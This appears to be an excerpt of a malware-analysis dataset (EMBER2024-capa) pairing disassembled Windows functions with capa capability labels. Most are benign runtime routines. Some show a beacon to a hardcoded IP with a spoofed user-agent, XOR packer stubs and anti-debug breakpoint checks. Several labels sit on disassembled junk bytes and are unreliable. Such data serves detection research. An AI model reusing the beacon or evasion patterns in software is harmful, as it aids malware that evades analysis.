joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46b5d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4ae330]
push edi
test eax, eax
je 0x46b649
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jge 0x46b649
mov eax, dword [eax + 0x10]
mov edi, dword [eax + ecx*4]
test edi, edi
je 0x46b649
push esi
mov esi, dword [ebp + 0xc]
push 5
push dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x46b631
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x46b631
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x46b631
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
pop esi
pop edi
pop ebp
ret 0x18
push dword [ebp + 0x1c]
mov eax, dword [edi + 0x54]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
call eax
pop esi
pop edi
pop ebp
ret 0x18
xor eax, eax
pop edi
pop ebp
ret 0x18

Function at 0x46b650
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4ae330]
push edi
test eax, eax
je 0x46b6c9
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jge 0x46b6c9
mov eax, dword [eax + 0x10]
mov edi, dword [eax + ecx*4]
test edi, edi
je 0x46b6c9
push esi
mov esi, dword [ebp + 0xc]
push 5
push dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x46b6b1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x46b6b1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x46b6b1
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamW]
pop esi
pop edi
pop ebp
ret 0x18
push dword [ebp + 0x1c]
mov eax, dword [edi + 0x58]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
call eax
pop esi
pop edi
pop ebp
ret 0x18
xor eax, eax
pop edi
pop ebp
ret 0x18

Function at 0x46b6d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4ae330]
push edi
test eax, eax
je 0x46b749
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jge 0x46b749
mov eax, dword [eax + 0x10]
mov edi, dword [eax + ecx*4]
test edi, edi
je 0x46b749
push esi
mov esi, dword [ebp + 0xc]
push 5
push dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x46b731
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x46b731
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x46b731
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamA]
pop esi
pop edi
pop ebp
ret 0x18
push dword [ebp + 0x1c]
mov eax, dword [edi + 0x4c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
call eax
pop esi
pop edi
pop ebp
ret 0x18
xor eax, eax
pop edi
pop ebp
ret 0x18
Function at 0x46b750
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4ae330]
push edi
test eax, eax
je 0x46b7c9
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jge 0x46b7c9
mov eax, dword [eax + 0x10]
mov edi, dword [eax + ecx*4]
test edi, edi
je 0x46b7c9
push esi
mov esi, dword [ebp + 0xc]
push 5
push dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x46b7b1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x46b7b1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x46b7b1
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamW]
pop esi
pop edi
pop ebp
ret 0x18
push dword [ebp + 0x1c]
mov eax, dword [edi + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
call eax
pop esi
pop edi
pop ebp
ret 0x18
xor eax, eax
pop edi
pop ebp
ret 0x18

Function at 0x46ba50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4ae330]
push edi
test eax, eax
je 0x46bab4
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jge 0x46bab4
mov eax, dword [eax + 0x10]
mov edi, dword [eax + ecx*4]
test edi, edi
je 0x46bab4
push esi
mov esi, dword [ebp + 0xc]
push 4
push dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x46baa5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x46baa5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x46baa5
push eax
call dword [sym.imp.USER32.dll_LoadMenuIndirectW]
test eax, eax
jne 0x46baae
push dword [ebp + 0x10]
mov eax, dword [edi + 0x3c]
push esi
call eax
pop esi
pop edi
pop ebp
ret 0xc
xor eax, eax
pop edi
pop ebp
ret 0xc

Function at 0x46bac0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4ae330]
push edi
test eax, eax
je 0x46bb24
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 0xc]
jge 0x46bb24
mov eax, dword [eax + 0x10]
mov edi, dword [eax + ecx*4]
test edi, edi
je 0x46bb24
push esi
mov esi, dword [ebp + 0xc]
push 4
push dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x46bb15
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x46bb15
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x46bb15
push eax
call dword [sym.imp.USER32.dll_LoadMenuIndirectW]
test eax, eax
jne 0x46bb1e
push dword [ebp + 0x10]
mov eax, dword [edi + 0x40]
push esi
call eax
pop esi
pop edi
pop ebp
ret 0xc
xor eax, eax
pop edi
pop ebp
ret 0xc
Function at 0x46f220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push edi
xor edi, edi
mov ecx, dword [eax + 0x404]
mov ebx, dword [eax + 0x400]
mov dword [ebp - 4], ecx
cmp dword [ebp + 0x10], edi
jle 0x46f279
push esi
inc bl
movzx ebx, bl
mov edx, dword [eax + ebx*4]
mov cl, dl
add cl, byte [ebp - 4]
mov eax, dword [ebp + 8]
movzx ecx, cl
mov dword [ebp - 4], ecx
mov esi, dword [ebp - 4]
mov ecx, dword [eax + ecx*4]
mov dword [eax + ebx*4], ecx
mov dword [eax + esi*4], edx
add dl, cl
movzx ecx, dl
mov edx, dword [ebp + 0xc]
mov cl, byte [eax + ecx*4]
xor byte [edi + edx], cl
inc edi
cmp edi, dword [ebp + 0x10]
jl 0x46f240
mov ecx, esi
pop esi
pop edi
mov dword [eax + 0x400], ebx
mov dword [eax + 0x404], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x477227
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004770c2
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40b02c], 0x8088405
inc edx
mov dword [0x40b02c], edx
mul edx
mov eax, edx
ret

Function at 0x407564
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40b55c
mov eax, esi
mov edx, 8
test al, 1
je 0x407580
shr eax, 1
xor eax, 0xedb88320
jmp 0x407582
shr eax, 1
dec edx
jne 0x407573
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40756c
pop esi
ret

Function at 0x4075af
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40b558], 0
jne 0x4075bb
call fcn.00407564
push 1
push 0x40b558
call fcn.00404498
mov eax, edi
test esi, esi
je 0x4075e6
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40b55c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4075c1
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x408a34
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov esi, eax
cmp edi, 0x50
jle 0x408a55
mov eax, esi
mov edx, 0x40a1c8
mov ecx, 0x40
call fcn.0040270c
je 0x408a5a
call fcn.004089cc
mov eax, esi
add eax, 0x40
mov ebx, eax
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 8]
not edx
cmp eax, edx
jne 0x408a79
cmp edi, eax
jne 0x408a79
cmp dword [ebx], 0xcc
je 0x408a7e
call fcn.004089cc
mov eax, ebx
add eax, 0x10
mov ebp, eax
add esi, dword [ebx + 4]
mov dword [esp], esi
mov edx, dword [esp]
sub edx, ebp
mov eax, ebp
call fcn.004075ec
cmp eax, dword [ebx + 0xc]
jne 0x408aa5
mov eax, dword [esp]
cmp byte [eax - 1], 0
je 0x408aaa
call fcn.004089cc
mov bl, 0xcc
mov esi, 0x40b95c
cmp ebp, dword [esp]
jb 0x408abb
call fcn.004089cc
mov eax, ebp
call fcn.00404cd0
mov edi, eax
mov eax, esi
mov ecx, edi
mov edx, ebp
call fcn.00403278
inc edi
add ebp, edi
add esi, 4
dec bl
jne 0x408ab1
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_STSGETAP
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401074
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s8d8w8d8wd8.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4010e3
xor al, al
jmp 0x40111d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40111b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x41fb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416e52
and dword [ebp - 0x14], 0
cmp dword [0x46d558], 0
mov dword [ebp - 0x18], eax
jne 0x41fc1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41fcc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41fcc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46d558], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x46d55c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x46d560], eax
call edi
push eax
call esi
mov dword [0x46d568], eax
test eax, eax
je 0x41fc1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x46d564], eax
mov eax, dword [0x46d564]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41fc78
cmp dword [0x46d568], ecx
je 0x41fc78
push eax
call esi
push dword [0x46d568]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41fc78
test ebx, ebx
je 0x41fc78
call edi
test eax, eax
je 0x41fc6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41fc6f
test byte [ebp - 8], 1
jne 0x41fc78
or dword [ebp + 0x10], 0x200000
jmp 0x41fcab
mov eax, dword [0x46d55c]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41fcab
mov eax, dword [0x46d560]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46d558]
call esi
test eax, eax
je 0x41fcc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41fcc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004113cb
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x5aecda
Capabilities:
Encode data using xor

Disassembly:
in al, 0x3f
xlatb
mov dl, 0xfd
rcl byte [esi - 0x55], cl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
aam 0x61
repne stosd dword es:[edi], eax
jl 0x5aed2d
clc
pop ds
pop es
inc edi
jnp 0x5aecd2
ror ch, 0x29
and eax, 0x337a0c58
adc al, 0xca
scasd eax, dword es:[edi]
out 0xf, al
into
and dword [esi], ebx
mov al, 0xf8
pop esp
invalid
mov esi, 0xb512fed5
mov byte [0xe3711677], al
test al, 0x47
jp 0x5aedb5
test al, 0x85
mov edi, 0xecff5430
test al, 0x7d
leave
aam 0xb3
outsb dx, byte [esi]
cmp esi, dword [eax + 0x66]
cdq
call [ecx + esi + 0x23bfb674]
pushfd
jmp 0x5cb4e574
xor eax, 0x54a3bd6e
mov ah, 0x23
lodsd eax, dword [esi]
sar dword [edi - 4], cl
cdq
lodsb al, byte [esi]
aad 0xb5
lodsd eax, dword [si]
wait
ret
inc edx
mov ecx, 0x66422d3b
outsb dx, byte [esi]
outsb dx, byte [esi]
push ecx
mov byte [edx], bl
pop edi
sub byte [esi], dh
sar dword [esi], cl
add ch, bl
dec esp
setl byte [ebx - 0x75]
je 0x5aee2e
sub esp, dword [ecx + edx*2]
std
sbb bh, byte [ecx + edx + 0x4fd6a3e0]
loopne 0x5aed6c
salc
dec edi
sbb esi, ebp
jecxz 0x5aedad
dec esp
arpl word [ebx - 0x1bba96df], si
in al, dx
sbb bh, byte [edi + 0x3f]
je 0x5aeda8
xor dh, byte [esi]
out dx, al
cmp byte [edi + 0x3580a25], bh
adc byte [eax - 0x2c194fd4], bl
xchg dword [edx + 0x5fb3414a], esp
mov edx, 0x458e58f6
fimul dword [ebx]
scasb al, byte es:[edi]
sbb bl, dh
pop esp
mov ch, 0xbd
inc esp
salc
sbb ch, byte [ebx + 0xe77f26c]
fisubr dword [eax - 0x31]
mov bh, 0x10
push eax
loope 0x5aedc7
daa
pushal
cmpsd dword [esi], dword es:[edi]
adc byte [0xef78bb37], bh
cmpsd dword [esi], dword es:[edi]
ret
cmc
imul ecx, edi, 0x3edb244c
les eax, [ecx]
or esp, ebp
sub byte [esi + 0x71865148], dl
out 0x7d, eax
sbb eax, 0xed7d0b9f
mov bh, 0x31
pop ss
mov ecx, 0x92249b22
popfd
rcr byte [esi - 0x5e], cl
or al, 0x2a
push 0xf5a5e85
xchg esi, eax
inc eax
out dx, al
aad 0x5f
inc ebp
xor ebx, dword [eax + 0x7c]
xchg esi, eax
mov eax, 0x7a50c09e
lcall 0x7e3, 0x9d5b9943
inc ebx
add byte [esi - 0x46], bl
jnp 0x5aee37
pop edx
scasb al, byte es:[edi]
pop eax
sub al, 0xaa
in eax, 0xae
dec ebx
in eax, dx
enter 0x1e00, 0xffffffffffffff9b
add al, 0x8f
fstp dword [edi + 0xed41a2c]
mov edi, 0xddba3156
or esp, dword [ebx - 0x55fc490e]
aam 0xc3
pop ebp
push esi
retf 0xe7b9

Function at 0x64427a
Capabilities:
Encode data using xor

Disassembly:
aam 0xd0
cmpsd dword [esi], dword es:[edi]
jmp 0x6442ca
xlatb
mov ah, 7
xor esp, ecx
imul eax, dword [ecx + 0x61869b13], 0x10b754f7
invalid
Function at 0x770f8a
Capabilities:
Check for software breakpoints

Disassembly:
ret
imul ebp, dword [0x95d3d89e], 0xffffffe6
mov al, byte [0xa4cffb9]
and eax, 0xcfd69063
mov dword [edx], edi
jl 0x771016
xor dword [edx + 4], eax
sbb eax, 0xdaee85b
std
aad 0x25
cmp al, 0xcc
movsb byte es:[edi], byte [esi]
push esp
out dx, al
push ds
mov dh, 0x46
pop edi
scasd eax, dword es:[edi]
invalid
xor byte [eax + 0x58], 0xa8
mov cl, 0x41
sub ecx, ebx
arpl word [ebx + 0x22d2cb3b], dx
dec edx
mov edx, 0x6e9eb646
ja 0x770f63
out dx, eax
pop ds
movsd dword es:[edi], dword [esi]
push ebp
std
or eax, 0x7c8ce414
push ss
out 0xce, al
daa
xlatb
mov edi, 0x28fff54f
or byte [edi], bh
adc dword [esi], eax
adc dword es:[ebx], ebx
dec esp
insb byte es:[edi], dx
pop ebx
jne 0x77105f
adc al, 0xe4
invalid
inc edx
jne 0x771047
nop
mov al, 0x87
test eax, 0xd3a99ebe
test byte [ebx + edx*4 - 0x42755543], ah
invalid
popal
imul edi, dword [esp + ebx], 0x2b
add eax, 0x37053212
loopne 0x770fe2
neg ecx
into
out dx, al
fsincos
add eax, 0xe05e9a04
loope 0x7710ae
jmp 0x770fc6
pushal
sahf
lahf
add ebp, eax
jnp 0x7710c8
in al, 0x70
push cs
setno byte [ebp - 0x15]
ljmp 0xe521
push eax
das
mov cl, 0x75
retf
mov dh, 0xf1
or dword [eax], ebx
add byte [ebx], ah
sbb ecx, dword [edx]
adc bl, byte [ebp - 0x30130b1b]
mul esi
invalid
cmp eax, 0x2f17342c
popal
cdq
mov byte [eax - 0x7d65744d], dl
or eax, 0x5f7c6475
jbe 0x77114d
sub ecx, edx
rcr al, 0xfb
ret
invalid

Function at 0x7c7d8d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x7d0448
cmp edx, dword [eax]
je 0x7c7daf
add eax, 8
inc ecx
cmp eax, 0x7d04d8
jl 0x7c7da0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x7d0448]
jne 0x7c7edd
mov eax, dword [0xbd1da4]
cmp eax, 1
je 0x7c7eb7
test eax, eax
jne 0x7c7de0
cmp dword [0x7d0374], 1
je 0x7c7eb7
cmp edx, 0xfc
je 0x7c7edd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x7c7e17
lea eax, [ebp - 0x1a4]
push 0x7cd9b8
push eax
call fcn.007c8770
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.007c8c00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x7c7e5a
lea eax, [ebp - 0x1a4]
push eax
call fcn.007c8c00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x7cd9b4
push edi
call fcn.007caad0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x7cd998
push eax
call fcn.007c8770
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.007c8780
lea eax, [ebp - 0xa0]
push 0x7cd994
push eax
call fcn.007c8780
push dword [esi + 0x7d044c]
lea eax, [ebp - 0xa0]
push eax
call fcn.007c8780
push 0x12010
lea eax, [ebp - 0xa0]
push 0x7cd96c
push eax
call fcn.007caa44
add esp, 0x2c
pop edi
jmp 0x7c7edd
lea eax, [ebp + 8]
lea esi, [esi + 0x7d044c]
push 0
push eax
push dword [esi]
call fcn.007c8c00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401b20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401b6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401b64
test esi, esi
je 0x401b64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401b40
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d50
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401da0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401e74
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x401dde
cmp eax, 4
jne 0x401e00
test esi, esi
je 0x401df2
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x401de4
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x401e3f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x401e31
cmp ecx, 0x40
je 0x401df2
cmp ecx, 4
je 0x401df2
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d50
lea esi, [esi]